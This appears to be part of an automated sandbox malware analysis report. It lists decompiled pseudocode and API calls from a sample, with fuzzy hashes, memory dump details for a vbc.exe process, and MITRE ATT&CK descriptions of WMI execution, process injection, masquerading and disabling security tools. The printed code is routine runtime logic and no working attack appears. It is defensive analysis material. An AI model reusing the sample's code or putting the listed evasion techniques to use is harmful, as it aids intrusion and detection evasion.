Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: wcslen$strlen
String ID:
API String ID: 1625065929-0
Opcode ID: ac22a6fe1d8a36068e38b7c72ec6e89ffe369644f0052c41383b016c776a82f7
Instruction ID: 455c6e0a090f149a2b268108298da89adbfd20bd5e9323ca2ac120c961e039b5
Opcode Fuzzy Hash: ac22a6fe1d8a36068e38b7c72ec6e89ffe369644f0052c41383b016c776a82f7
Instruction Fuzzy Hash: 61F14EB4A106058FCB00EF6CC5849AEBBF1FF84314B11856EE859DB355E738E945CB89

Uniqueness

Uniqueness Score: -1.00%

Function 0047C1E0 Relevance: 5.4, APIs: 4, Instructions: 352
stringCOMMON

Download Yara Rule

C-Code - Quality: 15%

			E0047C1E0(void* __ecx, void* __eflags, char _a4) {
				void* _v16;
				char _v32;
				char _v33;
				char _v34;
				char _v35;
				signed char* _v48;
				char _v52;
				signed char* _v56;
				char _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				signed char* _v72;
				signed char* _v88;
				void* _v92;
				void* _v96;
				signed char* _v100;
				void* _v104;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t139;
				intOrPtr* _t141;
				char _t143;
				char _t144;
				intOrPtr _t146;
				intOrPtr* _t149;
				char _t151;
				signed char* _t152;
				intOrPtr _t154;
				intOrPtr* _t157;
				char _t159;
				char _t160;
				intOrPtr _t162;
				intOrPtr* _t165;
				char _t167;
				signed char* _t168;
				signed int _t170;
				intOrPtr* _t172;
				signed int _t173;
				intOrPtr* _t175;
				signed int _t176;
				intOrPtr* _t183;
				intOrPtr _t184;
				intOrPtr* _t185;
				intOrPtr _t186;
				intOrPtr* _t188;
				intOrPtr _t189;
				signed int _t193;
				intOrPtr _t197;
				char* _t198;
				intOrPtr* _t203;
				intOrPtr* _t237;
				intOrPtr* _t238;
				signed char* _t239;
				char _t243;
				char _t246;
				char _t249;
				char _t257;
				signed char* _t268;
				signed char* _t270;
				intOrPtr _t271;
				char* _t275;
				char* _t277;
				char* _t279;
				char* _t281;
				intOrPtr _t282;
				intOrPtr _t283;
				signed char* _t284;
				signed char* _t285;
				intOrPtr* _t286;
				char* _t287;
				char* _t288;
				char* _t289;
				char* _t290;
				void* _t291;
				void* _t292;
				void* _t293;
				void* _t294;
				void* _t295;
				void* _t296;
				signed char** _t297;
				intOrPtr* _t298;

				_t291 = __ecx;
				_t294 = _t293 - 0x4c;
				_v92 = _a4;
				_t139 = E00494D20(__eflags);
				_t237 = _t139;
				_t141 =  *((intOrPtr*)( *_t139 + 0x14));
				if(_t141 != E0040AFA0) {
					_v92 = _t237;
					 *_t141();
					_t143 = _v32;
					_t294 = _t294 - 4;
				} else {
					_t281 = 0xffffffff;
					_t290 =  *( *((intOrPtr*)(_t237 + 8)) + 0x14);
					if(_t290 != 0) {
						_t281 =  &(_t290[strlen(_t290)]);
					}
					_t143 = E00458A70(_t290, _t237,  &_v33, _t281, _t290, _t291, _t292);
					_v32 = _t143;
				}
				_t282 =  *((intOrPtr*)(_t143 - 0xc));
				_v64 = _t282;
				_t144 = L00497930(_t282);
				_v52 = _t144;
				_v88 = 0;
				_v92 = _t282;
				_v96 = _t144;
				E0040A140(_t237,  &_v32);
				_t146 =  *0x4c3bd0; // 0x2
				_t243 = _v32;
				_t295 = _t294 - 0xc;
				if(_t146 != 0) {
					asm("lock xadd [ecx-0x4], eax");
					__eflags = 0xffffffff;
					if(0xffffffff > 0) {
						goto L6;
					} else {
						goto L42;
					}
					goto L60;
				} else {
					_t16 =  *((intOrPtr*)(_t243 - 4)) - 1; // -1
					 *((intOrPtr*)(_t243 - 4)) = _t16;
					if( *((intOrPtr*)(_t243 - 4)) <= 0) {
						L42:
						_v96 =  &_v33;
						E00458FD0( &_v33, _t243 - 0xc);
						_t295 = _t295 - 4;
						_t149 =  *((intOrPtr*)( *_t237 + 0x18));
						__eflags = _t149 - E0040B040;
						if(_t149 == E0040B040) {
							goto L7;
						} else {
							goto L43;
						}
						L60:
					} else {
						L6:
						_t149 =  *((intOrPtr*)( *_t237 + 0x18));
						if(_t149 != E0040B040) {
							L43:
							_v96 = _t237;
							 *_t149();
							_t151 = _v32;
							_t295 = _t295 - 4;
						} else {
							L7:
							_t279 = 0xffffffff;
							_t289 =  *( *((intOrPtr*)(_t237 + 8)) + 0x1c);
							if(_t289 != 0) {
								_t279 =  &(_t289[strlen(_t289)]);
							}
							_t151 = E00458A70(_t289, _t237,  &_v35, _t279, _t289, _t291, _t292);
							_v32 = _t151;
						}
					}
				}
				_t283 =  *((intOrPtr*)(_t151 - 0xc));
				_v68 = _t283;
				_t152 = L00497930(_t283);
				_v56 = _t152;
				_v92 = 0;
				_v96 = _t283;
				_v100 = _t152;
				E0040A140(_t237,  &_v32);
				_t154 =  *0x4c3bd0; // 0x2
				_t246 = _v32;
				_t296 = _t295 - 0xc;
				if(_t154 != 0) {
					asm("lock xadd [ecx-0x4], eax");
					__eflags = 0xffffffff;
					if(0xffffffff > 0) {
						goto L12;
					} else {
						goto L50;
					}
					goto L38;
				} else {
					_t32 =  *((intOrPtr*)(_t246 - 4)) - 1; // -1
					 *((intOrPtr*)(_t246 - 4)) = _t32;
					if( *((intOrPtr*)(_t246 - 4)) <= 0) {
						L50:
						_v100 =  &_v33;
						E00458FD0( &_v33, _t246 - 0xc);
						_t296 = _t296 - 4;
						_t157 =  *((intOrPtr*)( *_t237 + 0x1c));
						__eflags = _t157 - E0040B000;
						if(_t157 == E0040B000) {
							goto L13;
						} else {
							goto L51;
						}
						L38:
						_t197 =  *0x4c3bd0; // 0x2
						_t257 = _v32;
						 *((char*)(_t291 + 0x43)) = 1;
						if(_t197 != 0) {
							_t198 = 0xffffffff;
							asm("lock xadd [ecx-0x4], eax");
							__eflags = 0xffffffff;
							if(0xffffffff > 0) {
								goto L40;
							} else {
								goto L45;
							}
						} else {
							_t198 =  *(_t257 - 4);
							_t114 = _t198 - 1; // -1
							 *(_t257 - 4) = _t114;
							if(_t198 <= 0) {
								L45:
								__eflags = _t257 - 0xc;
								 *_t298 =  &_v33;
								return E00458FD0( &_v33, _t257 - 0xc);
							} else {
								L40:
								return _t198;
							}
						}
						goto L60;
					} else {
						L12:
						_t157 =  *((intOrPtr*)( *_t237 + 0x1c));
						if(_t157 != E0040B000) {
							L51:
							_v100 = _t237;
							 *_t157();
							_t159 = _v32;
							_t296 = _t296 - 4;
						} else {
							L13:
							_t277 = 0xffffffff;
							_t288 =  *( *((intOrPtr*)(_t237 + 8)) + 0x24);
							if(_t288 != 0) {
								_t277 =  &(_t288[strlen(_t288)]);
							}
							_t159 = E00458A70(_t288, _t237,  &_v34, _t277, _t288, _t291, _t292);
							_v32 = _t159;
						}
					}
				}
				_t284 =  *((intOrPtr*)(_t159 - 0xc));
				_v72 = _t284;
				_t160 = L00497930(_t284);
				_v60 = _t160;
				_v96 = 0;
				_v100 = _t284;
				_v104 = _t160;
				E0040A140(_t237,  &_v32);
				_t162 =  *0x4c3bd0; // 0x2
				_t249 = _v32;
				_t297 = _t296 - 0xc;
				if(_t162 != 0) {
					asm("lock xadd [ecx-0x4], eax");
					__eflags = 0xffffffff;
					if(0xffffffff > 0) {
						goto L18;
					} else {
						goto L47;
					}
					goto L60;
				} else {
					_t48 =  *((intOrPtr*)(_t249 - 4)) - 1; // -1
					 *((intOrPtr*)(_t249 - 4)) = _t48;
					if( *((intOrPtr*)(_t249 - 4)) <= 0) {
						L47:
						_v104 =  &_v33;
						E00458FD0( &_v33, _t249 - 0xc);
						_t297 = _t297 - 4;
						_t165 =  *((intOrPtr*)( *_t237 + 0x10));
						__eflags = _t165 - E0040AE00;
						if(_t165 == E0040AE00) {
							goto L19;
						} else {
							goto L48;
						}
						goto L60;
					} else {
						L18:
						_t165 =  *((intOrPtr*)( *_t237 + 0x10));
						if(_t165 != E0040AE00) {
							L48:
							_v104 = _t237;
							 *_t165();
							_t167 = _v32;
							_t297 = _t297 - 4;
						} else {
							L19:
							_t275 = 0xffffffff;
							_t287 =  *( *((intOrPtr*)(_t237 + 8)) + 8);
							if(_t287 != 0) {
								_t275 =  &(_t287[strlen(_t287)]);
							}
							_t167 = E00458A70(_t287, _t237,  &_v33, _t275, _t287, _t291, _t292);
							_v32 = _t167;
						}
					}
				}
				_t268 =  *(_t167 - 0xc);
				_v48 = _t268;
				 *_t297 = _t268;
				_t168 = L00497930();
				_v100 = 0;
				_t285 = _t168;
				 *_t297 = _t168;
				_v104 = _v48;
				E0040A140(_t237,  &_v32);
				_t270 = _v48;
				 *(_t291 + 8) = _t285;
				_t298 = _t297 - 0xc;
				_t170 = 0;
				 *((intOrPtr*)(_t291 + 0xc)) = _t270;
				if(_t270 != 0) {
					_t170 = ( *_t285 & 0x000000ff) - 0x00000001 & 0xffffff00 | ( *_t285 & 0x000000ff) - 0x00000001 - 0x0000007d < 0x00000000;
				}
				 *(_t291 + 0x10) = _t170;
				_t172 =  *((intOrPtr*)( *_t237 + 8));
				if(_t172 != E0040AFF0) {
					_t173 =  *_t172();
				} else {
					_t173 =  *( *((intOrPtr*)(_t237 + 8)) + 0x11) & 0x000000ff;
				}
				 *(_t291 + 0x11) = _t173;
				_t175 =  *((intOrPtr*)( *_t237 + 0xc));
				if(_t175 != E0040B080) {
					_t176 =  *_t175();
				} else {
					_t176 =  *( *((intOrPtr*)(_t237 + 8)) + 0x12) & 0x000000ff;
				}
				 *(_t291 + 0x12) = _t176;
				_t271 =  *_t237;
				 *((intOrPtr*)(_t291 + 0x14)) = _v52;
				 *((intOrPtr*)(_t291 + 0x18)) = _v64;
				 *((intOrPtr*)(_t291 + 0x1c)) = _v56;
				 *((intOrPtr*)(_t291 + 0x20)) = _v68;
				 *((intOrPtr*)(_t291 + 0x24)) = _v60;
				 *((intOrPtr*)(_t291 + 0x28)) = _v72;
				_t183 =  *((intOrPtr*)(_t271 + 0x20));
				if(_t183 != E0040AFE0) {
					_t184 =  *_t183();
					_t271 =  *_t237;
				} else {
					_t184 =  *((intOrPtr*)( *((intOrPtr*)(_t237 + 8)) + 0x2c));
				}
				 *((intOrPtr*)(_t291 + 0x2c)) = _t184;
				_t185 =  *((intOrPtr*)(_t271 + 0x24));
				if(_t185 != E0040AE90) {
					_t186 =  *_t185();
				} else {
					_t186 =  *((intOrPtr*)( *((intOrPtr*)(_t237 + 8)) + 0x30));
				}
				 *((intOrPtr*)(_t291 + 0x30)) = _t186;
				_t188 =  *((intOrPtr*)( *_t237 + 0x28));
				_t324 = _t188 - E0040AE80;
				if(_t188 != E0040AE80) {
					_t189 =  *_t188();
				} else {
					_t189 =  *((intOrPtr*)( *((intOrPtr*)(_t237 + 8)) + 0x34));
				}
				 *((intOrPtr*)(_t291 + 0x34)) = _t189;
				 *_t298 = _a4;
				_t238 = E00494F00(_t324);
				_t101 = _t291 + 0x38; // 0x38
				_t286 =  *0x4c5068; // 0x4cc360
				_v48 = _t101;
				_t193 =  *(_t238 + 0x1c) & 0x000000ff;
				if(_t193 == 1) {
					L37:
					_t239 = _v48;
					 *((intOrPtr*)(_t291 + 0x38)) =  *_t286;
					_t107 = _t286 + 4; // 0x36353433
					 *((intOrPtr*)(_t239 + 4)) =  *_t107;
					_t109 = _t286 + 7; // 0x39383736
					 *((intOrPtr*)(_t239 + 7)) =  *_t109;
				} else {
					if(_t193 == 0) {
						L0040F810(_t238);
						_t203 =  *((intOrPtr*)( *_t238 + 0x1c));
						__eflags = _t203 - 0x40fb90;
						if(_t203 == 0x40fb90) {
							goto L37;
						} else {
							goto L53;
						}
					} else {
						_t203 =  *((intOrPtr*)( *_t238 + 0x1c));
						if(_t203 != 0x40fb90) {
							L53:
							 *_t298 = _t286;
							_v100 = _v48;
							_t134 = _t286 + 0xb; // 0x4cc36b
							_v104 = _t134;
							 *_t203();
							_t298 = _t298 - 0xc;
						} else {
							goto L37;
						}
					}
				}
				goto L38;
			}

0x0047c1e5
0x0047c1e8
0x0047c1ee
0x0047c1f1
0x0047c1f6
0x0047c1fa
0x0047c202
0x0047c678
0x0047c67e
0x0047c680
0x0047c683
0x0047c208
0x0047c20b
0x0047c210
0x0047c215
0x0047c21f
0x0047c21f
0x0047c227
0x0047c22c
0x0047c22c
0x0047c22f
0x0047c232
0x0047c238
0x0047c23d
0x0047c243
0x0047c24b
0x0047c24f
0x0047c252
0x0047c257
0x0047c25c
0x0047c25f
0x0047c264
0x0047c525
0x0047c52a
0x0047c52c
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0047c26a
0x0047c26d
0x0047c270
0x0047c275
0x0047c532
0x0047c538
0x0047c53b
0x0047c542
0x0047c545
0x0047c548
0x0047c54d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0047c27b
0x0047c27b
0x0047c27d
0x0047c285
0x0047c553
0x0047c553
0x0047c559
0x0047c55b
0x0047c55e
0x0047c28b
0x0047c28b
0x0047c28e
0x0047c293
0x0047c298
0x0047c2a2
0x0047c2a2
0x0047c2aa
0x0047c2af
0x0047c2af
0x0047c285
0x0047c275
0x0047c2b2
0x0047c2b5
0x0047c2bb
0x0047c2c0
0x0047c2c6
0x0047c2ce
0x0047c2d2
0x0047c2d5
0x0047c2da
0x0047c2df
0x0047c2e2
0x0047c2e7
0x0047c5f5
0x0047c5fa
0x0047c5fc
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0047c2ed
0x0047c2f0
0x0047c2f3
0x0047c2f8
0x0047c602
0x0047c608
0x0047c60b
0x0047c612
0x0047c615
0x0047c618
0x0047c61d
0x00000000
0x00000000
0x00000000
0x00000000
0x0047c4f0
0x0047c4f0
0x0047c4f5
0x0047c4f8
0x0047c4fe
0x0047c570
0x0047c575
0x0047c57a
0x0047c57c
0x00000000
0x00000000
0x00000000
0x00000000
0x0047c500
0x0047c500
0x0047c503
0x0047c506
0x0047c50b
0x0047c57e
0x0047c581
0x0047c584
0x0047c596
0x0047c50d
0x0047c50d
0x0047c514
0x0047c514
0x0047c50b
0x00000000
0x0047c2fe
0x0047c2fe
0x0047c300
0x0047c308
0x0047c623
0x0047c623
0x0047c629
0x0047c62b
0x0047c62e
0x0047c30e
0x0047c30e
0x0047c311
0x0047c316
0x0047c31b
0x0047c325
0x0047c325
0x0047c32d
0x0047c332
0x0047c332
0x0047c308
0x0047c2f8
0x0047c335
0x0047c338
0x0047c33e
0x0047c343
0x0047c349
0x0047c351
0x0047c355
0x0047c358
0x0047c35d
0x0047c362
0x0047c365
0x0047c36a
0x0047c5a5
0x0047c5aa
0x0047c5ac
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0047c370
0x0047c373
0x0047c376
0x0047c37b
0x0047c5b2
0x0047c5b8
0x0047c5bb
0x0047c5c2
0x0047c5c5
0x0047c5c8
0x0047c5cd
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0047c381
0x0047c381
0x0047c383
0x0047c38b
0x0047c5d3
0x0047c5d3
0x0047c5d9
0x0047c5db
0x0047c5de
0x0047c391
0x0047c391
0x0047c394
0x0047c399
0x0047c39e
0x0047c3a8
0x0047c3a8
0x0047c3b0
0x0047c3b5
0x0047c3b5
0x0047c38b
0x0047c37b
0x0047c3b8
0x0047c3bb
0x0047c3be
0x0047c3c1
0x0047c3c6
0x0047c3d4
0x0047c3d6
0x0047c3d9
0x0047c3dd
0x0047c3e2
0x0047c3e5
0x0047c3e8
0x0047c3eb
0x0047c3ed
0x0047c3f2
0x0047c3fc
0x0047c3fc
0x0047c3ff
0x0047c404
0x0047c40c
0x0047c6d2
0x0047c412
0x0047c415
0x0047c415
0x0047c419
0x0047c41e
0x0047c426
0x0047c6c2
0x0047c42c
0x0047c42f
0x0047c42f
0x0047c433
0x0047c439
0x0047c43b
0x0047c441
0x0047c447
0x0047c44d
0x0047c453
0x0047c459
0x0047c45c
0x0047c464
0x0047c6b2
0x0047c6b4
0x0047c46a
0x0047c46d
0x0047c46d
0x0047c470
0x0047c473
0x0047c47b
0x0047c6a2
0x0047c481
0x0047c484
0x0047c484
0x0047c487
0x0047c48c
0x0047c48f
0x0047c494
0x0047c692
0x0047c49a
0x0047c49d
0x0047c49d
0x0047c4a0
0x0047c4a6
0x0047c4ae
0x0047c4b0
0x0047c4b3
0x0047c4b9
0x0047c4bc
0x0047c4c2
0x0047c4dc
0x0047c4de
0x0047c4e1
0x0047c4e4
0x0047c4e7
0x0047c4ea
0x0047c4ed
0x0047c4c4
0x0047c4c6
0x0047c642
0x0047c649
0x0047c64c
0x0047c651
0x00000000
0x00000000
0x00000000
0x00000000
0x0047c4cc
0x0047c4ce
0x0047c4d6
0x0047c657
0x0047c65c
0x0047c65f
0x0047c663
0x0047c666
0x0047c66a
0x0047c66c
0x00000000
0x00000000
0x00000000
0x0047c4d6
0x0047c4c6
0x00000000

APIs

strlen.MSVCRT ref: 0047C21A
strlen.MSVCRT ref: 0047C29D
strlen.MSVCRT ref: 0047C320
strlen.MSVCRT ref: 0047C3A3

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: 6cd9c1cc7826e9bd060417a2b977aa711511408c32c7c31d3ca0684d052a86a1
Instruction ID: 0db94074ffcb631ec5e7e190ef91100a72efede3a19f410f7c2ffc00f6c4469b
Opcode Fuzzy Hash: 6cd9c1cc7826e9bd060417a2b977aa711511408c32c7c31d3ca0684d052a86a1
Instruction Fuzzy Hash: 69E11874A006058FCB10EF6DC5C49AEBBF1BF88314B10856EE859DB355EB38E945CB85

Uniqueness

Uniqueness Score: -1.00%

Function 00402BC0 Relevance: 5.1, APIs: 4, Instructions: 55sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?,?,?,?,00402CE1,?,?,?,?,-00000001,?,?,004036AB), ref: 00402BE7
InitializeCriticalSection.KERNEL32(?,?,?,?,00402CE1,?,?,?,?,-00000001,?,?,004036AB), ref: 00402C1D
InitializeCriticalSection.KERNEL32(?,?,?,?,?,00402CE1,?,?,?,?,-00000001,?,?,004036AB), ref: 00402C29
EnterCriticalSection.KERNEL32(?,?,?,?,00402CE1,?,?,?,?,-00000001,?,?,004036AB), ref: 00402C51

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: CriticalSection$Initialize$EnterSleep
String ID:
API String ID: 1117354567-0
Opcode ID: a647e20e1fba5f93dbbc465a121937f06c9df852d52afb8704c418e6d0c00625
Instruction ID: 6fe26471825dfeb361038b96b8ce8f86bc28767020815f1a4570894b7daa99c9
Opcode Fuzzy Hash: a647e20e1fba5f93dbbc465a121937f06c9df852d52afb8704c418e6d0c00625
Instruction Fuzzy Hash: 781121B04081009BE725AF2CF9DD29F3BA8FB14300F594436D482973E5E6B9D9C8DB96

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: vbc.exePID: 5384, Parent PID: 5316COMMON

Execution Graph

Execution Coverage:	12.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	71
Total number of Limit Nodes:	4

Executed Functions

Function 04EAFB30 Relevance: 1.8, APIs: 1, Instructions: 277
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.354769376.0000000004EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4ea0000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3cc184e2990b9f4fe9aa4e8d7c295452e6ac727783cad5530e05ba7f7e2a8f2
Instruction ID: 99445ddbf78bcdd4b2aa692272d9970081737a6d39e6ae68e7333cb50e015a3f
Opcode Fuzzy Hash: a3cc184e2990b9f4fe9aa4e8d7c295452e6ac727783cad5530e05ba7f7e2a8f2
Instruction Fuzzy Hash: 2AA17A35A002448FDB14DF78C465AAEBBF6EF89304F118469E906DB3A1DB35EC42CB91

Uniqueness

Uniqueness Score: -1.00%

Function 04EAFDEA Relevance: 1.5, APIs: 1, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserCallbackDispatcher.NTDLL(00000000), ref: 04EAFE4F

Memory Dump Source

Source File: 00000002.00000002.354769376.0000000004EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4ea0000_vbc.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 83ae53cc6b7a0f3fe80f488a61ffd717612c793dadbc084d0b8a3a14cb3d62f5
Instruction ID: 2614430443ad998027325096c2be54ca95d51ab4db84ca2af5c80cef3b4d0854
Opcode Fuzzy Hash: 83ae53cc6b7a0f3fe80f488a61ffd717612c793dadbc084d0b8a3a14cb3d62f5
Instruction Fuzzy Hash: CA1112B1904349CFCB20DF9AD885BDEBBF4EB48324F10845AD529A7700D779A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00A8D820 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.354430804.0000000000A8D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A8D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a8d000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53213d2ef6fc9848f3edc7bae960ee8032abb574639a4186676a1b48593def07
Instruction ID: abff314ea043d60b5e1aa1ffc613486854d304d967b5daca943a7e2c62ac51c2
Opcode Fuzzy Hash: 53213d2ef6fc9848f3edc7bae960ee8032abb574639a4186676a1b48593def07
Instruction Fuzzy Hash: FF2128B2504240EFCF05EF50D8C0B26BBB5FB88314F2486A9E9094B286C336D816DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00A8D4D8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.354430804.0000000000A8D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A8D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a8d000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e085085a481b6d8dbdba94edc483013cbd381b30eab1499a4ed005478a576c38
Instruction ID: 164a31c8af24ce7612f79b986066b6683f83811626db64ac3d9607692a8d1eae
Opcode Fuzzy Hash: e085085a481b6d8dbdba94edc483013cbd381b30eab1499a4ed005478a576c38
Instruction Fuzzy Hash: 6A210A71504244EFDB09EF14D9C0B27BB75FB98328F24856AD9054B286C336D856D7A2

Uniqueness

Uniqueness Score: -1.00%

Function 00A8D81B Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.354430804.0000000000A8D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A8D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a8d000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d5c0955738386966dd201f21e176a656c98ea31480f0d23f44ea620b81e8183
Instruction ID: 7663910b9286214f42c0a7e100f121ec3e0115e2e0b0332b2b8727ea8c9211dd
Opcode Fuzzy Hash: 5d5c0955738386966dd201f21e176a656c98ea31480f0d23f44ea620b81e8183
Instruction Fuzzy Hash: F021A276504280DFCF06DF10D9C4B56BF71FB88314F2486A9D9484B656C33AD856CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00A8D4D3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.354430804.0000000000A8D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A8D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a8d000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15e00ab0180662b097a36b170ee5e0122ef9b813bbc53ef17b167e6fd8fb8d96
Instruction ID: 8c5ef76f29d0d97a291f6f9b688b437c2c6e8963c43a80966b0d9d4f419161c7
Opcode Fuzzy Hash: 15e00ab0180662b097a36b170ee5e0122ef9b813bbc53ef17b167e6fd8fb8d96
Instruction Fuzzy Hash: 9411E676404280DFCF15DF10D5C4B16BF71FB94324F24C6AAD8054B656C33AD856CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00A8D985 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.354430804.0000000000A8D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A8D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a8d000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ada859345cad72f271e1cc3547a0e21ffe3a0d5db5c708e8362ca96fb2c4b99
Instruction ID: 34719555597e778f5b81ede7a15a69a6bb9bde7eaa8ec7cac885acbb355269d2
Opcode Fuzzy Hash: 5ada859345cad72f271e1cc3547a0e21ffe3a0d5db5c708e8362ca96fb2c4b99
Instruction Fuzzy Hash: E4012B71008390AAD7206F16DC80766BBE8DF46738F18C41EED045AAC6C7799844CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 00A8D984 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.354430804.0000000000A8D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A8D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a8d000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60790d8f9365d4448b527f0e4742836647c853682e9c4142745f6479d42bb3be
Instruction ID: 21bd01902215a437ebb2551f4c520444ddd4e0776123070f179fd7b2ce7d4e1f
Opcode Fuzzy Hash: 60790d8f9365d4448b527f0e4742836647c853682e9c4142745f6479d42bb3be
Instruction Fuzzy Hash: ECF0C2714043849AEB209F06CC84B62FBA8EB91734F18C45AED085B696C3B99C44CBB1

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

